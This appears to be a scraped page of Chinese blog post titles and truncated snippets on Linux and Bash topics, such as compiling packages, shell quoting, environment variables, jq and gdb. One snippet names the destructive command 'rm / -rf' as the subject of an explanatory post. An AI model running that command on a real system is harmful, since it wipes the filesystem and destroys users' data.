Linux运维_Bash脚本_编译安装GTK3.24.41 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和…

每日shell脚本之批量重命名文件

每日shell脚本之批量重命名文件 #!/bin/bash# 设置要修改的目录路径和前缀 directory"/path/to/directory" prefix"new_"# 遍历目录下的所有文件 for file in "$directory"/*; do# 获取文件名&#xff08;不包含路径&#xff09;filename$(base…

Linux运维_Bash脚本_编译安装eudev和libgudev

Linux运维_Bash脚本_编译安装eudev和libgudev Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Lin…

【符号链接】【bash】遍历目录下的每个子项目

为git_repos目录下的每个项目创建符号链接&#xff08;软链接&#xff09;&#xff0c;需要遍历该目录下的每个子项目&#xff0c;并使用ln -s命令为它们分别创建链接。 1. 创建脚本文件 创建一个文本文件来编写你的脚本。这可以通过任何文本编辑器完成&#xff0c;比如nano…

深入理解DHCP服务:网络地址的自动化分配

深入理解DHCP服务&#xff1a;网络地址的自动化分配 在现代网络环境中&#xff0c;动态主机配置协议&#xff08;DHCP&#xff09; 是一个至关重要的服务&#xff0c;它允许自动分配IP地址和其他相关配置信息给网络中的设备。本文将深入探讨DHCP服务的工作原理、配置方法以及如…

mac解决brew install报错“fatal: not in a git directory“

在macbook上使用brew安装软件时&#xff0c;可能会遇到问题&#xff0c;报错如下&#xff1a; fatal: not in a git directory Error: Command failed with exit 128: git 使用brew -v&#xff0c;仔细看&#xff0c;可以发现有两个fatal(致命错误)提示: 解决方案&#xff1a;…

mysql数据库:使用 bash脚本 + 定时任务 自动备份数据

mysql数据库&#xff1a;使用 bash脚本 定时任务 自动备份数据 1、前言2、为什么需要自动化备份&#xff1f;3、编写备份脚本4、备份脚本授权5、添加定时任务6、重启 crond / 检查 crond 服务状态7、备份文件检查 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏…

git bash 命令行反应慢、卡顿(定位出根本原因)

参考该博主&#xff1a; https://blog.csdn.net/weixin_50212044/article/details/131575987?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-131575987-blog-130024908.235v43pc_blog_bottom_relevance_base4&spm1001.210…

bash: sqlplus: command not found 问题解决方法

一、问题描述 在Linux中Oracle安装成功后&#xff0c;首次启动使用时&#xff0c;出现 sqlplus 命令不识别的问题&#xff0c;现象如下&#xff1a; $ sqlplus / as sysdba bash: sqlplus: command not found...二、问题分析 查看环境变量是否正确配置&#xff1a; $ vim .ba…

Linux运维_Bash脚本_构建安装Neat-VNC-0.7.2

Linux运维_Bash脚本_构建安装Neat-VNC-0.7.2 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linu…

shell编程-jq命令详解

文章目录 前言一、jq简介1. 简介2. 语法3. 命令选项 二、用于处理json数据1. 过滤1.1 标识运算符1.2 基本过滤1.3 获取对象属性1.3 迭代数组元素1.4 获取数组元素1.5 使用运算符 2. 类型和值2.1 数组构造2.2 对象构造2.3 递归下降 3. 内置运算符和函数3.1 算术运算符3.2 函数3.…

Linux运维_Bash脚本_编译安装FreeRDP-3.3.0

Linux运维_Bash脚本_编译安装FreeRDP-3.3.0 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux…

一键掌控:Shell脚本自动化安装与管理Conda环境的艺术

前面写了个博客《conda&#xff1a;解决多项目开发环境配置的神器&#xff01;》简单介绍了 Conda 的安装和基本命令&#xff0c;在做开发时经常会使用 Conda 建立多个应用环境&#xff0c;Conda 的命令虽不复杂&#xff0c;但还是有时会弄混&#xff0c;所以就考虑写个脚本&am…

【Linux】信号保存{sigset_t/sigpending/sigprocmask/bash脚本/代码演示}

文章目录 1.信号相关常见概念2.管理信号的数据结构3.初识sigset_t4.信号集操作函数4.1sigpending4.2sigprocmask4.2代码测试1.测试12.测试23.测试3 4.3bash 脚本文件 1.信号相关常见概念 信号相关动作&#xff1a;产生 发送 接收 阻塞 递达(处理) 实际执行信号的处理动作称为信…

Linux运维_Bash脚本_构建安装Systemd-250

Linux运维_Bash脚本_构建安装Systemd-250 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和…

环境变量和Bash内置命令

Command Line Editing Ctrla#Move to the start of the line.(光标移到最前面) Ctrle#Move to the end of the line.(光标移到最后面) Ctrll#Clear the screen, reprinting the current line at the top.(不等同clear命令.会在顶部重新打印当前行,当前行还有内容时,还会显示) …

Bash Shell中双引号中的感叹号问题详解

Bash Shell中双引号中的感叹号问题详解 在Bash Shell中&#xff0c;感叹号(!)是一个特殊字符&#xff0c;主要用于历史扩展。历史扩展允许你使用!来引用历史命令。然而&#xff0c;当你在双引号中使用感叹号时&#xff0c;如果你在双引号中直接使用感叹号&#xff0c;它可能会…

【BASH 常用脚本系列 1 -- 将一个文件从第 N 行开始分成两个文件】

请阅读【嵌入式开发学习必备专栏 】 文章目录 将一个文件从第 N 行开始分成两个文件 将一个文件从第 N 行开始分成两个文件 要在 shell 中将一个文件从第 n 行开始分成两个文件&#xff0c;可以使用 head 和 tail 命令。下面是一个示例脚本&#xff0c;该脚本接收三个参数&…

kvm利用脚本创建一个新的虚拟机 —— 筑梦之路

1. 脚本文件 #!/usr/bin/env bash # 创建虚拟机 ## 2021/3/28kvm_install(){set -ueset -o pipefail# 创建相关目录ls /home/kvm/{ks,virtualhost,virtual-img} 1>/dev/null 2>&1 || mkdir -p /home/kvm/{virtualhost,virtual-img}# 此程序的变量KVM_HOME/home/kvmK…

. ./ bash dash source 这五种执行shell脚本方式 区别

实际上,., ./, bash, dash, source 是五种不同的方式来执行 shell 脚本,它们之间有一些区别。 .(点号)或 source 命令:这两个命令是等价的,它们都是 Bash shell 内置的命令。它们用于在当前 shell 环境中执行脚本。当使用 . script.sh 或 source script.sh 命令来执行脚本…

HAProxy 深入解析:配置与应用指南

HAProxy 深入解析&#xff1a;配置与应用指南 HAProxy 是一款开源的高性能负载均衡器&#xff0c;它支持 TCP 和 HTTP 应用程序的代理。以其稳定性、高性能和丰富的特性集&#xff0c;在业界得到了广泛的应用。本文将全面介绍 HAProxy 的配置及其在实际中的应用案例&#xff0…

Bash Shell中单引号和双引号的区别详解

Bash Shell中单引号和双引号的区别详解 在Bash Shell中&#xff0c;单引号()和双引号(")都用于定义字符串&#xff0c;但它们之间有一些重要的区别。这些区别影响字符串的解释方式&#xff0c;变量的扩展&#xff0c;以及特殊字符的处理。 单引号 字面值&#xff1a;在单…

Bash and a Tough Math Puzzle 线段树维护区间gcd

还是一道很不错的题目&#xff0c;很容易想到用一棵线段树来维护区间gcd 注意用倍数来剪枝就好了&#xff0c;很是一到很好的题目的 #include<iostream> #include<vector> using namespace std; const int N 5e510; int n,q; struct Segment{int l,r;int d; }tr[…

webp格式的图像变身成.png格式

~ $ cd /storage/emulated/0/代码设计/壁纸 .../代码设计/壁纸 $ find . -maxdepth 1 -type f -iname "*.webp" -exec convert {} {}.png \; convert: unable to read image data ./7f8807782f9c3943b85509973412a959.webp error/constitute.c/ReadImage/991. conve…

Shell脚本学习-if循环

最小化的if语句 无实际用途 if [ ] ;then echo fi 脚本解释 if 判断 [ ] 里面的条件是否成立 后面跟then&#xff0c;代表条件成立 如果在一行则使用分号隔离&#xff08;;&#xff09; 如果不在一行使用则直接在下一行驶入then即可。 如果条件成立则输出echo 后面…

【Shell牛客刷题系列】SHELL21 格式化输出:来看个printf命令的小彩蛋~

该系列是基于牛客Shell题库&#xff0c;针对具体题目进行查漏补缺&#xff0c;学习相应的命令。 刷题链接&#xff1a;牛客题霸-Shell篇。 该系列文章都放到专栏下&#xff0c;专栏链接为&#xff1a;《专栏&#xff1a;Shell》。欢迎关注专栏~ 本文知识预告&#xff1a; 本文…

AMBER分子动力学模拟之结果分析(MMGB/PBSA)-- HIV蛋白酶-抑制剂复合物(4)

AMBER分子动力学模拟之结果分析(MMGB/PBSA)-- HIV蛋白酶-抑制剂复合物(4) 结合自由能计算 我们首先计算焙变&#xff0c;用到的是pbsa和gbsa方法。我们需要一下文件 三个top文件&#xff0c;pro.prmtop lig.prmtop com.prmtop&#xff1b;输入文件MM_GBSA.in&#xff1b;将要…

进程,会话,守护进程

会话 在Linux中&#xff0c;会话&#xff08;session&#xff09;是一组相关联的进程的集合&#xff0c;它们可以接收相同的信号&#xff0c;并且通常由一个领导进程来控制。会话中的所有进程都共享同一个控制终端&#xff08;controlling terminal&#xff09;&#xff0c;这…

Ubuntu环境配置(instant-ngp)

综合环境配置 这篇文章的综合配置我是在恒源云上配的&#xff0c;自己穷买不起机子&#xff0c;就只能租咯&#xff0c;这家价格还行&#xff0c;而且可以装VNC&#xff0c;非推广&#xff0c;只是感觉方便&#xff0c;请大家结合自身实际情况 数据上传 这里有几种方法&…

31 | linux 压缩和解压文件常用的8种命令

目录1 gzip1.1 删除原文件1.2 不删除原文件1.3 查看文件详情1.4 压缩目录2 gunzip2.1 解压3 tar压缩4 tar解压5 zip压缩6 unzip解压7 bzip28 bunzip21 gzip 语法格式&#xff1a;gzip [参数] 文件 常用参数 参数名称参数说明-a使用ASCII文字模式-c把压缩后的文件输出到标准输…

gdb调试常见命令详细总结

gdb调试常见命令运行(run/continue/next/step/until/finish/call/quit)断点显示当前程序的断点设置情况设置断点&#xff08;在某个函数入口或指定行号处&#xff09;暂停设置的断点&#xff08;可再次开启&#xff09;清除断点&#xff08;delete/clear)函数堆栈中进行调试对于…

Linux的环境变量

目录 什么是环境变量&#xff1f; 那么如何添加自己的程序到命令行上&#xff0c;可以直接执行&#xff1f; 如何查看环境变量&#xff1f; 如何定义环境变量&#xff1f; C语言如何获取环境变量&#xff1f; 环境变量的全局属性 什么是环境变量&#xff1f; 在回答这个…

springboot3 使用 Graalvm打包native-image可执行文件

Graalvm https://www.graalvm.org/java/quickstart/ https://www.graalvm.org/downloads/ https://github.com/graalvm/graalvm-ce-builds/releases mac 系统 下载 Graalvm https://github.com/graalvm/graalvm-ce-builds/releases电脑系统是 macOS (amd64)&#xff0c;j…

初识shell

文章目录一、shell基本知识1.1为什么学习和使用Shell编程1.2 什么是Shell1.2.1 shell的起源1.2.2 shell的功能1.3 shell的分类1.4 作为程序设计的语言——shell1.5 如何学好shell1.6 shell脚本的基本元素1.7 shell脚本编写规范1.8shell脚本的执行方式1.9 执行脚本的方法1.10 sh…

Linux文件 profile、bashrc、bash_profile区别

Linux系统中&#xff0c;有三种文件 出现的非常频繁&#xff0c;那就是 profile、bash_profile、bashrc 文件。 1、profile 作用 profile&#xff0c;路径&#xff1a;/etc/profile&#xff0c;用于设置系统级的环境变量和启动程序&#xff0c;在这个文件下配置会对所有用户…

Linux运维_Bash脚本_编译安装PHP-7.4.28

Linux运维_Bash脚本_编译安装PHP-7.4.28 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和…

电脑如何关闭自启动应用?cmd一招解决问题

很多小伙伴说电脑刚开机就卡的和定格动画似的&#xff0c;cmd一招解决问题&#xff1a; CtrlR打开cmd,输入&#xff1a;msconfig 进入到这个界面&#xff1a; 点击启动&#xff1a; 打开任务管理器&#xff0c;禁用不要的自启动应用就ok了

shell的uniq命令

uniq 命令用于检查及删除文本文件中重复出现的行列&#xff0c;一般与 sort 命令结合使用。 uniq 可检查文本文件中重复出现的行列。 命令语法&#xff1a; uniq [-c/d/D/u/i] [-f Fields] [-s N] [-w N] [InFile] [OutFile] 参数解释&#xff1a; -c: 在每列旁边显示该行…

Dockerfile 编写踩坑汇总

一、RUN 后cd进不去 应该用 WORKDIR /home 进入 原因: WORKDIR 指定工作目录(或称当前目录),以后各层的当前目录就被改为指定的目录,如该目录不存在,WORKDIR 会自行创建。 Dockerfile 不能等同于 Shell 脚本来书写,下面是错误写法: RUN cd /app RUN echo "he…

Linux简单介绍(基本涵盖日常使用到的各种shell知识点)

文章目录shell基础认知1. shell语言2. 脚本执行方式3. 快捷键4. 通配符5. 命令后跟的选项6. 逻辑运算 && ||7. 算术运算&#xff08;equal&#xff0c;great&#xff0c;less&#xff09;8. 目录或文件意义9. 规则10. vimshell脚本常规内容解释1. set -ex2. set -o pip…

【linux】:进程概念

文章目录 冯诺依曼体系结构一&#xff1a;操作系统二: 进程总结冯诺依曼体系结构 我们常见的计算机&#xff0c;如笔记本。我们不常见的计算机&#xff0c;如服务器&#xff0c;大部分都遵守冯诺依曼体系。 冯诺依曼体系如下图&#xff1a; 那么输入设备有哪些呢&#xff1f…

Shell脚本执行过程

一、#!有什么用 脚本程序几乎都开始于#! 符号。这个符号叫做声明解释器。 #! 就是用来声明本文件交给哪个解释器进行解释的。比如我们写bash脚本&#xff0c;一般声明的方法是 #!/bin/bash或 #!/bin/sh。如果写的是一个Python脚本&#xff0c;就用 #!/usr/bin/python。 大多数…

bash命令执行.sh文件 windows python环境

报错&#xff1a; bash : 无法将“bash”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写&#xff0c;如果包括路径&#xff0c;请确保路径正确&#xff0c;然后再试一次。 所在位置 行:1 字符: 1 ’ bash fetch_data.sh ‘ ~~~~ CategoryInfo : Object…

【Linux基础】dash和bash简介

Dash&#xff08;Debian Almquist Shell&#xff09;和 Bash&#xff08;Bourne Again Shell&#xff09;是 Unix/Linux 系统中的命令行 shell&#xff0c;用于执行命令、管理文件系统、编写脚本等任务的工具。 一、Dash和Bash的区别&#xff1a; Bash&#xff08;Bourne Agai…

脚本控制

章节目录&#xff1a; 一、处理信号1.1 Linux 信号1.2 产生信号1.3 捕获信号1.4 捕获脚本退出1.5 修改或移除信号捕获 二、以后台模式运行脚本2.1 后台运行脚本2.2 运行多个后台作业 三、在非控制台下运行脚本四、作业控制4.1 查看作业4.2 重启已停止的作业 五、调整谦让度5.1 …

linux系统整理一些工作中常用关于用户,用户组以及文件权限操作的相关命令

文章目录问题&#xff1a;前言&#xff1a;用户和用户组概念前言一、用户前言二、用户组一、添加用户和用户组二、查看用户所属组命令、三、管理用户组方法一、gpasswd命令方式二、newgrp命令方式三、usermod命令用户组实战&#xff1a;赋予用户root权限四、文件修改权限命令ch…

shell面试题

第12章 企业真实面试题&#xff08;重点&#xff09; 12.1 京东 问题1&#xff1a;使用Linux命令查询file1中空行所在的行号 答案&#xff1a; [rootmaster datas]$ awk /^$/{print NR} sed.txt 5问题2&#xff1a;有文件chengji.txt内容如下: 张三 40 李四 50 王五 60 使…

Linux运维_Bash脚本_快速配置Apache(httpd-2.4.54)

Linux运维_Bash脚本_快速配置Apache(httpd-2.4.54) Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在…

Linux进程概念—环境变量

Linux进程概念—环境变量1.孤儿进程2.环境变量2.1常见环境变量2.2查看环境变量方法2.3在环境变量中添加2.4和环境变量相关的命令2.5环境变量的组织方式2.6命令行参数&#x1f31f;&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f;&#x1f31f; &#x1f68…

【Linux系统】Linux入门(下) {其他指令,扩展指令,热键}

【Linux系统】Linux入门(上) {认识Linux&#xff0c;基本指令&#xff1a;用户相关操作、查看和切换文件目录、创建删除文件或路径、查看文件} 【Linux系统】Linux入门(中) {基本指令&#xff1a;输入输出&#xff0c;重定向输入输出&#xff0c;管道&#xff0c;显示时间和日…

windows如何使用脚本打开多个软件

文章目录 windows如何使用脚本打开多个软件问题缘由省流版本制作脚本步骤新建文本找到文件的安装位置方法一&#xff1a;方法二&#xff1a; 总结 windows如何使用脚本打开多个软件 问题缘由 因为强迫症&#xff0c;不想让软件自启&#xff0c;会导致开机变慢&#xff0c;电脑…

Linux运维_Bash脚本_构建安装GStreamer-1.22.10

Linux运维_Bash脚本_构建安装GStreamer-1.22.10 Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 L…

xargs命令

eXtended ARGuments xargs命令的作用&#xff0c;是将标准输入转为命令行参数。 结合管道&#xff0c;它能把一个命令的输出&#xff0c;变为另外一个命令的参数。 一、参数与标准输入 命令都带有参数&#xff0c;有些命令可以接受"标准输入"&#xff08;stdin&am…

文件传输工具 Croc

github地址&#xff1a;https://github.com/schollz/croc 工具特点及优势 用 Relay 方式让任意两台电脑传送档案 点对点加密 (使用 PAKE) 跨平台传送文件 (Windows, Linux, Mac) 一次可以传送多个文件或整个目录 支持断点续传 不需要自行搭建服务器或使用 port-forwarding 相关…

用C语言写一个自己的shell-Part Ⅲ--built-in commands

Part Ⅲ–Built-in commands Just as we have mentioned in part Ⅱ&#xff0c;the exec family of functions can’t perform built-in commands like cd. It’s like The reason for this is that cd is not a system command like ls or pwd.We need to write and inv…

shell脚本基础之详解脚本数据的输入与输出

数据的展示理解输入与输出标准文件描述符STDIN&#xff08;标准输入&#xff09;STDOUT&#xff08;标准输出&#xff09;STDERR&#xff08;标准错误&#xff09;重定向错误只重定向错误重定向错误和数据在shell脚本中重定向输出临时重定向永久重定向在shell脚本中重定向输入创…

linux命令----- mkdir与rmdir

创建与删除目录 一 mkdir1.mkdir 目录名2.mkdir -p 目录一/目录二 二 rmdir1.rmdir 目录名2.删除非空目录时失败3. rmkdir -p 目录1/目录2 一 mkdir mkdir是make directories的缩写&#xff0c;主要用于linux中创建目录 创建的目录不能和同级目录中已经存在的目录重名可以mkd…

echo,date,bc命令详解

文章目录 echo&#xff0c;date&#xff0c;bc命令详解echo(输出文本)date(显示日期的命令)date命令的--date选项date命令 bc(高精度计算器) echo&#xff0c;date&#xff0c;bc命令详解 echo(输出文本) echo命令是一个常用的Shell命令&#xff0c;用于在终端上输出文本。它…

Linux基本权限

文章目录 前言一、Shell命令以及运行原理1.Shell的定义2.为什么用户不能直接使用kernel&#xff1f; 二、Linux中的权限1.权限是什么&#xff1f;2.如何操作权限呢&#xff1f;&#xff08;怎么修改权限&#xff09;1. 修改文件属性2. 修改文件角色 3.为什么要有权限 三、粘滞位…

腾讯云镜YunJing——Agent定时任务脚本分析

缘起 如果你有台腾讯云主机&#xff0c;会发现默认有个叫 YunJing 的进程。 把它kill掉后&#xff0c;发现一段时间又出现了 这是为什么捏&#xff1f; 分析定时任务配置文件 通过crontab定时任务目录, 会发现有个叫yunjing的配置文件。 */30 * * * * root /usr/local/qc…

【Linux】1 一篇通俗的Shell体验教程

文章目录 【Linux】1 Shell &#x1f358;1. 语录2. Shell2.1 程序2.2 目录2.3 文件2.3.1 简单文件操作2.3.2 重定向 2.4 管道 3 汇总与小结 【Linux】1 Shell &#x1f358; 1. 语录 计算机不仅仅用来开发个网站或软件&#xff0c;更是我们手中的利器&#xff0c;我们的tool…

WSL Ubuntu使用Cargo安装Starship

对于WSL&#xff0c;Starship官网推荐的安装方法是执行 curl -fsSL https://starship.rs/install.sh | bash 然而总是没反应&#xff0c;显示&#xff1a; Configuration > Bin directory: /usr/local/bin > Platform: unknown-linux-gnu > Arch: x86_6…

SDN — OpenvSwitch 常用指令和应用示例

目录 文章目录 目录常用指令版本日志控制管理类虚拟网桥类VLAN流表类表项匹配动作QoSingress policingOverlay TunnelGREVxLANsFlowSTP端口镜像端口聚合goto table 配置group 表meter 表<

shell的灵活运用 (函数,关联数组,循环,awk,sed等)

题目 提示&#xff1a;没有基础请先看看基础部分的讲解&#xff0c;否则看不懂 1&#xff0c;编写函数&#xff0c;实现判断是否无位置参数&#xff0c;如无参数&#xff0c;提示错误 代码&#xff1a; #bash/bin function a() {b$# #判断传入的参数个数 # echo $b…

鸟哥的Linux私房菜——基础学习篇(第三版) (11-17章)

基础学习篇 第十一章 &#xff1a;认识和学习bash第十二章 &#xff1a;正则表达式与文件格式化处理第十三章 &#xff1a;学习shell script第十四章 &#xff1a;Linux账号管理与ACL权限设定第十五章 &#xff1a;磁盘配额(Quota)与进阶文件系统管理第十六章 &#xff1a;例行…

Node.js,多环境配置

目录 1、多环境简介 2、多环境配置 3、命令运行 1、多环境简介 在前端项目的开发过程中&#xff0c;我们需要把项目发布到不同服务器环境中&#xff0c;例如&#xff0c;测试&#xff0c;生产&#xff0c;开发&#xff0c;预生产等环境。在这个我们需要对不同的环境设置不同…

Linux学习之Shell(一)

Shell概述 1&#xff09;Linux提供的Shell解析器有 [xiaominghadoop101 ~]$ cat /etc/shells /bin/sh /bin/bash /sbin/nologin /usr/bin/sh /usr/bin/bash /usr/sbin/nologin /bin/tcsh /bin/csh2&#xff09;bash和sh的关系 [xiaominghadoop101 bin]$ ll | grep bash -rwxr…

Ouster激光雷达使用PTP时间同步

IEEE1588(the Precision Time Protocol 简称为 PTP &#xff09;全称是“网络测量和控制系统的精密时钟同步协议标准”&#xff0c;可以使用ubuntu中的网卡作为时间的master也可以外接一个精准的时钟&#xff0c;来实现传感器的时间同步。 Ouster官方参考链接 --------------…

Linux系统之top命令的基本使用

Linux系统之top命令的基本使用 一、top命令介绍二、检查本地环境1. 检查操作系统版本2. 检查系统内核版本 三、top命令的使用帮助1. top命令的选项2. top命令的交换命令 四、top显示信息解释1. top的第一行解释2. top的第二、三行信息解释3. top的第四、五行信息解释4. top的进…

rm / -rf指令的作用是?

学习Linux 指令&#xff0c;它是操作系统的前端&#xff0c;学好这部分内容一方面可以帮助你应对工作场景&#xff0c;另一方面可以让你在学习操作系统底层知识前&#xff0c;对 Linux 有一个大概的了解。 学习 Linux 指令之前&#xff0c;先来说一下什么是 Shell&#xff1f;S…

AMBER分子动力学模拟之TOP准备-- HIV蛋白酶-抑制剂复合物(1)

AMBER分子动力学模拟之TOP准备-- HIV蛋白酶-抑制剂复合物(1) 我们以HIV蛋白酶-抑制剂复合物为例子&#xff0c;跑Amber动力学模拟 下载1phv 从PBD下载文件&#xff1a;https://www.rcsb.org/ PDB文件预处理 我们以 “protein(water) ligandcomplex” 为例来说一下如何处…

bash shell脚本常用代码记录

任何编程语言&#xff0c;常用的语法和代码结构其实不多的&#xff0c;如果为了快速的掌握入手一门编程语言&#xff0c;我认为只需要把该语言的常见语法和代码记下来&#xff0c;再结合实际需求去拼接成新的代码。这篇博客主要是记录bash shell的一些用法&#xff0c;便于日后…

w命令 – 显示已登录用户的信息

Linux w命令详解 介绍 Linux系统中的w命令来自英文单词“who”的缩写&#xff0c;它显示当前登录到系统中的用户及其进程的信息。它显示谁已登录&#xff0c;以及他们正在做什么活动。这意味着它可以显示他们在系统中运行什么进程。本教程将为您详细讲解w命令。 语法 执行w命…

Shell脚本编程入门--Day2

文章目录 几个简单内置shell命令shell字串的语法计算变量长度的各种玩法批量修改文件名特殊shell扩展变量实际应用父子shell创建进程列表&#xff08;创建子shell&#xff09; 几个简单内置shell命令 echo -n 不换行输出 -e 解析字符串中的特殊符号 &#xff08;\n, \r, \t, \…

AWK编程语言笔记第二章:语法结构

1 准备数据 $ vi countries $ cat countries ussr 8689 275 asia canada 3852 25 north america china 3705 1032 asia usa 3615 237 north america brazil 3286 134 sourth america india 1267 746 asia mexico 762 78 north america france 211 55 europe japan 144 120 asi…

Linux的tail,grep,sed命令总结,以使用上述三种命令获取日志信息为例

目录 tail命令语法说明基本参数命令举例 grep命令语法说明匹配模式选择杂项输入控制文件控制 sed命令语法格式举例 使用命令组合查询日志信息 业务需求需要对软件日志进行查询和呈现&#xff0c;查询的条件是时间区间和关键词&#xff0c;系统运行在linux环境下&#xff0c;为此…

Centos8离线安装中文字体-黑体

以下是关于如何在 Linux 系统&#xff08;在此例中为 CentOS&#xff09;上安装黑体字体&#xff08;即 simhei.ttf&#xff09;的步骤&#xff1a; 检查是否已有中文字体&#xff1a; fc-list :langzh这个命令会列出当前服务器所有支持中文的字体。 上传字体文件到服务器&…

Ubuntu20.4下x264、x265、fdk-aac和FFmpeg4.3源码编译安装

依赖安装 pt-get install make cmake g nasm yasm diffutils pkg-config -y编译安装x264 克隆x264源码 git config --global http.sslVerify false git clone https://code.videolan.org/videolan/x264.git指定配置项&#xff0c;指定安装在/usr下 ./configure --enable-sh…

Linux中_Ubuntu上_使用命令总结整理_02

文章目录 目录&#xff1a;1、操作系统操作1、Linux 基础2、系统信息3、系统负载 -- top4、程序开机自启动服务配置5、重定向_管道_流6、终端其他命令 2、文件与目录操作1、文件和目录2、文件搜索3、查看文件内容4、文本处理5、文件的特殊属性-权限 - 使用 "" 设置权…

七、进程地址空间

一、环境变量 &#xff08;一&#xff09;概念 环境变量(environment variables)&#xff1a;系统当中用做特殊用途的系统变量。 如&#xff1a;我们在编写C/C代码的时候&#xff0c;在链接的时候&#xff0c;从来不知道我们的所链接的动态静态库在哪里&#xff0c;但是照样可…

sh、bash 和 dash 几种 shell 的区别是什么?

在调试基于 Debian 的 Docker 镜像时&#xff0c;进入容器后在终端中按上箭头键后终端显示^[[A&#xff0c;下箭头显示^[[B&#xff0c;右箭头显示^[[C&#xff0c;左箭头显示^[[D&#xff0c;按删除键也是显示了几个特殊字符。很奇怪&#xff0c;仔细看了一下&#xff0c;原来…

Shell脚本之求1..100的和(三种方法)

1.for循环 #!/bin/bash sumo for ((i0;i<100;i)) do sum$[sumi] done echo "100以内的求和&#xff1a;$sum" 2.while循环 #/bin/bash i1 sum0 while [ $i -le 100 ] dosum$[sum i]let i done echo "{1..100}的求和结果为&#xff1a;$sum"3.until循…

【操作系统】期末复习汇总最全版本!电子科技大学2023期末考试

操作系统 【考后感悟】本次考试考察了&#xff1a;操作系统的4大特征、线程和进程的区别、页表与页的基本地址变换机构、磁盘调度算法、银行家算法、调度算法&#xff08;短作业优先、时间片轮转&#xff09;、Linux的一些基本知识、shell读程序题以及PV操作编程。知识点基本涵…

Shell脚本中的数值计算:使用数学运算实现数值操作

前言 沐风晓月带你学云原生开发&#xff0c;从零开始&#xff0c;我们出发&#xff0c;让知识学习不再难。 &#x1f3e0;个人主页&#xff1a;我是沐风晓月 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是沐风晓月&#xff0c;阿里云社区博客专家 &#x1f609;&…

bash获取特定目录下所有文件的全路径

find directory | sort -u |sed N;/^/(.//)/n/1/!P;D 获取directory目录下所有文件的全路径 find 获取路径&#xff0c;但是包括目录 sort -u 排序 sed N;/^/(.//)/n/1/!P;D 排除…

浅聊一下system()函数与popen()函数

浅聊一下system()函数与popen()函数 文章目录 浅聊一下system()函数与popen()函数1.system()函数2.popen()函数3.区别总结&#xff1a; 1.system()函数 system()函数先fork一个子进程&#xff0c;在这个子进程中调用/bin/sh -c来执行command指定的命令。/bin/sh在系统中一般是…

shell编程实验-用户登录状态监测

一、实验目的&#xff1a; 使学生熟悉一种简单的指定用户的监测方法&#xff0c;熟悉UNIX的基本SHELL程序设计方法和使用技巧&#xff0c;包括&#xff1a; &#xff08;1&#xff09;命令行参数检测 &#xff08;2&#xff09;用户变量 &#xff08;3&#xff09;while循环…

【玩转Linux操作】详细讲解shell的注释,变量,字符串,数组等操作

&#x1f38a;专栏【玩转Linux操作】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【Counting Stars 】 欢迎并且感谢大家指出小吉的问题&#x1f970; 文章目录 &#x1f354;概述⭐注意⭐示例&#x1f3f3;️‍&#x1f308;然…

xv6 2020版使用gdb调试debug的方法

本文参考了MIT 6.S081 2020 操作系统 实验环境搭配详解及问题处理&#xff0c;作者为余晨&#xff08;北海草鱼&#xff09;。xv6的安装方法见Windows/Ubuntu qemu虚拟机xv6-riscv利用riscv-gnu-toolchain编译安装方法。该方法适用于Ubuntu上搭建的riscv版的xv6的QEMU虚拟机&am…

【shell】shell遇到错误自动退出set -e|set -u|set -x

set -e #脚本里面有返回值非0命令/运行失败的命令 就退出 set -u #如果遇到不存在的变量&#xff0c;就退出 sh -x my.sh 回整个脚本都输出调试信息&#xff0c;太多了 使用set -x开启某一段的调试信息&#xff1a; set -x 开始调试&#xff1b; set x 结束调试…

shell脚本基础之详解脚本的控制

详解脚本的控制 信号的处理Linux信号生成信号中断进程暂停进程 捕获信号捕获脚本退出修改或移除捕获 以后台模式运行脚本后台运行脚本运行多个后台脚本 在非控制台下运行脚本作业控制 查看作业重启停止的作业调整谦让度nice命令renice命令 定时运行作业用 at 命令来定时执行作业…

Shell基础之环境变量配置文件

一、简介 1、什么是环境变量配置文件 Linux中的环境变量配置文件通常有 ~/.bashrc 或 ~/.bash_profile。~/.bashrc 文件是每次登录 Bash 时都会被执行的脚本&#xff0c;它通常用来设置一些常用的别名、函数和环境变量。而 ~/.bash_profile 则是在登录时被执行的脚本&#xf…

DPDK KNI介绍

